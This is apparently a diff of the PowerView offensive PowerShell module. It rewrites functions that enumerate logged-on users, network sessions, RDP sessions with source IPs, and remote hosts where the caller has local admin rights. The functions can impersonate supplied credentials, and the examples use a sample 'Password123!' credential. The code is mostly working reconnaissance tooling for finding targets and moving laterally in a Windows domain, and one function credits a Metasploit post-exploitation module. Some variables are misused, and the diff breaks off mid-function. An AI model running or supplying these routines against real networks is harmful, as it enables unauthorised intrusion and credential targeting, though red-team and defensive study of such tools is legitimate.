+Returns users actively logged onto the 'sqlserver' host.
- .LINK
+.EXAMPLE
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
-#>
+Get-DomainComputer | Get-NetLoggedon
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
- [ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
- )
+Returns all logged on users for all computers in the domain.
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+.EXAMPLE
- # Declare the reference variables
- $QueryLevel = 1
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-NetLoggedon -ComputerName sqlserver -Credential $Cred
- # get logged on user information
- $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+.OUTPUTS
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+PowerView.LoggedOnUserInfo
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
+the UserName/LogonDomain/AuthDomains/LogonServer for each user, with the ComputerName added.
- # Work out how much to increment the pointer by finding out the size of the structure
- $Increment = $WKSTA_USER_INFO_1::GetSize()
+.LINK
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
+http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+#>
- # return all the sections of the structure
- $LoggedOn = $Info | Select-Object *
- $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- $LoggedOn
+ [OutputType('PowerView.LoggedOnUserInfo')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
}
+ }
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # declare the reference variables
+ $QueryLevel = 1
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get logged on user information
+ $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $WKSTA_USER_INFO_1::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WKSTA_USER_INFO_1
+
+ # return all the sections of the structure - have to do it this way for V2
+ $LoggedOn = $Info | Select-Object *
+ $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $LoggedOn.PSObject.TypeNames.Insert(0, 'PowerView.LoggedOnUserInfo')
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $LoggedOn
+ }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "[Get-NetLoggedon] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
}
- else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
}
}
-filter Get-NetSession {
+function Get-NetSession {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns session information for the local (or a remote) machine.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
+
+.DESCRIPTION
+
+This function will execute the NetSessionEnum Win32API call to query
+a given host for active sessions.
+
+.PARAMETER ComputerName
- This function will execute the NetSessionEnum Win32API call to query
- a given host for active sessions on the host.
- Heavily adapted from dunedinite's post on stackoverflow (see LINK below)
+Specifies the hostname to query for sessions (also accepts IP addresses).
+Defaults to 'localhost'.
- .PARAMETER ComputerName
+.PARAMETER Credential
- The ComputerName to query for active sessions.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- .PARAMETER UserName
+.EXAMPLE
- The user name to filter for active sessions.
+Get-NetSession
- .OUTPUTS
+Returns active sessions on the local host.
- SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
- result structure which includes the host and username associated
- with active sessions, with the ComputerName added.
+.EXAMPLE
- .EXAMPLE
+Get-NetSession -ComputerName sqlserver
- PS C:\> Get-NetSession
+Returns active sessions on the 'sqlserver' host.
- Returns active sessions on the local host.
+.EXAMPLE
- .EXAMPLE
+Get-DomainController | Get-NetSession
- PS C:\> Get-NetSession -ComputerName sqlserver
+Returns active sessions on all domain controllers.
- Returns active sessions on the 'sqlserver' host.
+.EXAMPLE
- .EXAMPLE
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-NetSession -ComputerName sqlserver -Credential $Cred
- PS C:\> Get-NetDomainController | Get-NetSession
+.OUTPUTS
- Returns active sessions on all domain controllers.
+PowerView.SessionInfo
- .LINK
+A PSCustomObject representing a WKSTA_USER_INFO_1 structure, including
+the CName/UserName/Time/IdleTime for each session, with the ComputerName added.
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+.LINK
+
+http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
+ [OutputType('PowerView.SessionInfo')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
+ [String[]]
$ComputerName = 'localhost',
- [String]
- $UserName = ''
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
-
- # arguments for NetSessionEnum
- $QueryLevel = 10
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
-
- # get session information
- $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
-
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ }
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ # arguments for NetSessionEnum
+ $QueryLevel = 10
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
+
+ # get session information
+ $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+
+ # locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
+
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
+
+ # work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $SESSION_INFO_10::GetSize()
+
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SESSION_INFO_10
+
+ # return all the sections of the structure - have to do it this way for V2
+ $Session = $Info | Select-Object *
+ $Session | Add-Member Noteproperty 'ComputerName' $Computer
+ $Session.PSObject.TypeNames.Insert(0, 'PowerView.SessionInfo')
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Session
+ }
- # Work out how much to increment the pointer by finding out the size of the structure
- $Increment = $SESSION_INFO_10::GetSize()
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else {
+ Write-Verbose "[Get-NetSession] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
+ }
+ }
+ }
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $SESSION_INFO_10
- # return all the sections of the structure
- $Sessions = $Info | Select-Object *
- $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
- $Sessions
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
}
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
- }
- else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
-filter Get-LoggedOnLocal {
+function Get-RegLoggedOn {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns who is logged onto the local (or a remote) machine
+through enumeration of remote registry keys.
+
+Note: This function requires only domain user rights on the
+machine you're enumerating, but remote registry must be enabled.
+
+Author: Matt Kelly (@BreakersAll)
+License: BSD 3-Clause
+Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, ConvertFrom-SID
+
+.DESCRIPTION
+
+This function will query the HKU registry values to retrieve the local
+logged on users SID and then attempt and reverse it.
+Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
+using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
+required (NetWkstaUserEnum requires remote admin access).
- This function will query the HKU registry values to retrieve the local
- logged on users SID and then attempt and reverse it.
- Adapted technique from Sysinternal's PSLoggedOn script. Benefit over
- using the NetWkstaUserEnum API (Get-NetLoggedon) of less user privileges
- required (NetWkstaUserEnum requires remote admin access).
+.PARAMETER ComputerName
- Note: This function requires only domain user rights on the
- machine you're enumerating, but remote registry must be enabled.
+Specifies the hostname to query for remote registry values (also accepts IP addresses).
+Defaults to 'localhost'.
- Function: Get-LoggedOnLocal
- Author: Matt Kelly, @BreakersAll
+.PARAMETER Credential
- .PARAMETER ComputerName
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- The ComputerName to query for active sessions.
+.EXAMPLE
- .EXAMPLE
+Get-RegLoggedOn
- PS C:\> Get-LoggedOnLocal
+Returns users actively logged onto the local host.
- Returns active sessions on the local host.
+.EXAMPLE
- .EXAMPLE
+Get-RegLoggedOn -ComputerName sqlserver
- PS C:\> Get-LoggedOnLocal -ComputerName sqlserver
+Returns users actively logged onto the 'sqlserver' host.
- Returns active sessions on the 'sqlserver' host.
+.EXAMPLE
+Get-DomainController | Get-RegLoggedOn
+
+Returns users actively logged on all domain controllers.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-RegLoggedOn -ComputerName sqlserver -Credential $Cred
+
+.OUTPUTS
+
+PowerView.RegLoggedOnUser
+
+A PSCustomObject including the UserDomain/UserName/UserSID of each
+actively logged on user, with the ComputerName added.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.RegLoggedOnUser')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
+ [String[]]
$ComputerName = 'localhost'
)
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ }
+
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
+ try {
+ # retrieve HKU remote registry values
+ $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
- try {
- # retrieve HKU remote registry values
- $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('Users', "$ComputerName")
+ # sort out bogus sid's like _class
+ $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
+ $UserName = ConvertFrom-SID -ObjectSID $_ -OutputType 'DomainSimple'
- # sort out bogus sid's like _class
- $Reg.GetSubKeyNames() | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } | ForEach-Object {
- $UserName = Convert-SidToName $_
+ if ($UserName) {
+ $UserName, $UserDomain = $UserName.Split('@')
+ }
+ else {
+ $UserName = $_
+ $UserDomain = $Null
+ }
- $Parts = $UserName.Split('\')
- $UserDomain = $Null
- $UserName = $Parts[-1]
- if ($Parts.Length -eq 2) {
- $UserDomain = $Parts[0]
+ $RegLoggedOnUser = New-Object PSObject
+ $RegLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
+ $RegLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
+ $RegLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
+ $RegLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
+ $RegLoggedOnUser.PSObject.TypeNames.Insert(0, 'PowerView.RegLoggedOnUser')
+ $RegLoggedOnUser
+ }
+ }
+ catch {
+ Write-Verbose "[Get-RegLoggedOn] Error opening remote registry on '$ComputerName' : $_"
}
-
- $LocalLoggedOnUser = New-Object PSObject
- $LocalLoggedOnUser | Add-Member Noteproperty 'ComputerName' "$ComputerName"
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserName' $UserName
- $LocalLoggedOnUser | Add-Member Noteproperty 'UserSID' $_
- $LocalLoggedOnUser
}
}
- catch {
- Write-Verbose "Error opening remote registry on '$ComputerName'"
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
}
}
-filter Get-NetRDPSession {
+function Get-NetRDPSession {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Returns remote desktop/session information for the local (or a remote) machine.
+
+Note: only members of the Administrators or Account Operators local group
+can successfully execute this functionality on a remote target.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
+
+.DESCRIPTION
+
+This function will execute the WTSEnumerateSessionsEx and WTSQuerySessionInformation
+Win32API calls to query a given RDP remote service for active sessions and originating
+IPs. This is a replacement for qwinsta.
+
+.PARAMETER ComputerName
- This function will execute the WTSEnumerateSessionsEx and
- WTSQuerySessionInformation Win32API calls to query a given
- RDP remote service for active sessions and originating IPs.
- This is a replacement for qwinsta.
+Specifies the hostname to query for active sessions (also accepts IP addresses).
+Defaults to 'localhost'.
- Note: only members of the Administrators or Account Operators local group
- can successfully execute this functionality on a remote target.
+.PARAMETER Credential
- .PARAMETER ComputerName
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- The hostname to query for active RDP sessions.
+.EXAMPLE
- .EXAMPLE
+Get-NetRDPSession
- PS C:\> Get-NetRDPSession
+Returns active RDP/terminal sessions on the local host.
- Returns active RDP/terminal sessions on the local host.
+.EXAMPLE
- .EXAMPLE
+Get-NetRDPSession -ComputerName "sqlserver"
- PS C:\> Get-NetRDPSession -ComputerName "sqlserver"
+Returns active RDP/terminal sessions on the 'sqlserver' host.
- Returns active RDP/terminal sessions on the 'sqlserver' host.
+.EXAMPLE
- .EXAMPLE
+Get-DomainController | Get-NetRDPSession
- PS C:\> Get-NetDomainController | Get-NetRDPSession
+Returns active RDP/terminal sessions on all domain controllers.
- Returns active RDP/terminal sessions on all domain controllers.
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-NetRDPSession -ComputerName sqlserver -Credential $Cred
+
+.OUTPUTS
+
+PowerView.RDPSessionInfo
+
+A PSCustomObject representing a combined WTS_SESSION_INFO_1 and WTS_CLIENT_ADDRESS structure,
+with the ComputerName added.
+
+.LINK
+
+https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
#>
+ [OutputType('PowerView.RDPSessionInfo')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
+ [String[]]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ }
+
+ PROCESS {
+ ForEach ($Computer in $ComputerName) {
- # open up a handle to the Remote Desktop Session host
- $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
+ # open up a handle to the Remote Desktop Session host
+ $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
- # if we get a non-zero handle back, everything was successful
- if ($Handle -ne 0) {
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
- # arguments for WTSEnumerateSessionsEx
- $ppSessionInfo = [IntPtr]::Zero
- $pCount = 0
-
- # get information on all current sessions
- $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ # arguments for WTSEnumerateSessionsEx
+ $ppSessionInfo = [IntPtr]::Zero
+ $pCount = 0
- # Locate the offset of the initial intPtr
- $Offset = $ppSessionInfo.ToInt64()
+ # get information on all current sessions
+ $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
- if (($Result -ne 0) -and ($Offset -gt 0)) {
+ # locate the offset of the initial intPtr
+ $Offset = $ppSessionInfo.ToInt64()
- # Work out how much to increment the pointer by finding out the size of the structure
- $Increment = $WTS_SESSION_INFO_1::GetSize()
+ if (($Result -ne 0) -and ($Offset -gt 0)) {
- # parse all the result structures
- for ($i = 0; ($i -lt $pCount); $i++) {
-
- # create a new int ptr at the given offset and cast the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
+ # work out how much to increment the pointer by finding out the size of the structure
+ $Increment = $WTS_SESSION_INFO_1::GetSize()
- $RDPSession = New-Object PSObject
+ # parse all the result structures
+ for ($i = 0; ($i -lt $pCount); $i++) {
- if ($Info.pHostName) {
- $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
- }
- else {
- # if no hostname returned, use the specified hostname
- $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
- }
+ # create a new int ptr at the given offset and cast the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
- $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
+ $RDPSession = New-Object PSObject
- if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
- # if a domain isn't returned just use the username
- $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
- }
- else {
- $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
- }
+ if ($Info.pHostName) {
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
+ }
+ else {
+ # if no hostname returned, use the specified hostname
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
+ }
- $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
- $RDPSession | Add-Member Noteproperty 'State' $Info.State
+ $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
- $ppBuffer = [IntPtr]::Zero
- $pBytesReturned = 0
+ if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
+ # if a domain isn't returned just use the username
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
+ }
+ else {
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
+ }
- # query for the source client IP with WTSQuerySessionInformation
- # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
- $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
+ $RDPSession | Add-Member Noteproperty 'State' $Info.State
- if($Result -eq 0) {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
- }
- else {
- $Offset2 = $ppBuffer.ToInt64()
- $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
- $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
+ $ppBuffer = [IntPtr]::Zero
+ $pBytesReturned = 0
- $SourceIP = $Info2.Address
- if($SourceIP[2] -ne 0) {
- $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
- }
- else {
- $SourceIP = $Null
- }
+ # query for the source client IP with WTSQuerySessionInformation
+ # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
+ $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+
+ if ($Result2 -eq 0) {
+ Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError2).Message)"
+ }
+ else {
+ $Offset2 = $ppBuffer.ToInt64()
+ $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
+ $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
+
+ $SourceIP = $Info2.Address
+ if ($SourceIP[2] -ne 0) {
+ $SourceIP = [String]$SourceIP[2]+'.'+[String]$SourceIP[3]+'.'+[String]$SourceIP[4]+'.'+[String]$SourceIP[5]
+ }
+ else {
+ $SourceIP = $Null
+ }
- $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
- $RDPSession
+ $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
+ $RDPSession.PSObject.TypeNames.Insert(0, 'PowerView.RDPSessionInfo')
+ $RDPSession
- # free up the memory buffer
- $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
+ # free up the memory buffer
+ $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
- $Offset += $Increment
+ $Offset += $Increment
+ }
+ }
+ # free up the memory result buffer
+ $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
}
+ else {
+ Write-Verbose "[Get-NetRDPSession] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
+ }
+ # close off the service handle
+ $Null = $Wtsapi32::WTSCloseServer($Handle)
+ }
+ else {
+ Write-Verbose "[Get-NetRDPSession] Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
}
- # free up the memory result buffer
- $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
- }
- else {
- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
- # Close off the service handle
- $Null = $Wtsapi32::WTSCloseServer($Handle)
}
- else {
- Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName"
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
}
}
-filter Invoke-CheckLocalAdminAccess {
+function Test-AdminAccess {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Tests if the current user has administrative access to the local (or a remote) machine.
+
+Idea stolen from the local_admin_search_enum post module in Metasploit written by:
+ 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
+ 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
+ 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: PSReflect, Invoke-UserImpersonation, Invoke-RevertToSelf
+
+.DESCRIPTION
+
+This function will use the OpenSCManagerW Win32API call to establish
+a handle to the remote host. If this succeeds, the current user context
+has local administrator acess to the target.
+
+.PARAMETER ComputerName
+
+Specifies the hostname to check for local admin access (also accepts IP addresses).
+Defaults to 'localhost'.
- This function will use the OpenSCManagerW Win32API call to establish
- a handle to the remote host. If this succeeds, the current user context
- has local administrator acess to the target.
+.PARAMETER Credential
- Idea stolen from the local_admin_search_enum post module in Metasploit written by:
- 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
- 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>'
- 'Royce Davis "r3dy" <rdavis[at]accuvant.com>'
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the remote system using Invoke-UserImpersonation.
- .PARAMETER ComputerName
+.EXAMPLE
- The hostname to query for active sessions.
+Test-AdminAccess -ComputerName sqlserver
- .OUTPUTS
+Returns results indicating whether the current user has admin access to the 'sqlserver' host.
- $True if the current user has local admin access to the hostname, $False otherwise
+.EXAMPLE
- .EXAMPLE
+Get-DomainComputer | Test-AdminAccess
- PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver
+Returns what machines in the domain the current user has access to.
- Returns active sessions on the local host.
+.EXAMPLE
- .EXAMPLE
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Test-AdminAccess -ComputerName sqlserver -Credential $Cred
- PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+.OUTPUTS
- Sees what machines in the domain the current user has access to.
+PowerView.AdminAccess
- .LINK
+A PSCustomObject containing the ComputerName and 'IsAdmin' set to whether
+the current user has local admin rights, along with the ComputerName added.
- https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
- http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
+.LINK
+
+https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
+http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
#>
+ [OutputType('PowerView.AdminAccess')]
[CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline=$True)]
- [Alias('HostName')]
- [Object[]]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('HostName', 'dnshostname', 'name')]
[ValidateNotNullOrEmpty()]
- $ComputerName = 'localhost'
- )
+ [String[]]
+ $ComputerName = 'localhost',
- # extract the computer name from whatever object was passed on the pipeline
- $Computer = $ComputerName | Get-NameField
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- # 0xF003F - SC_MANAGER_ALL_ACCESS
- # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
- $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
+ BEGIN {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ }
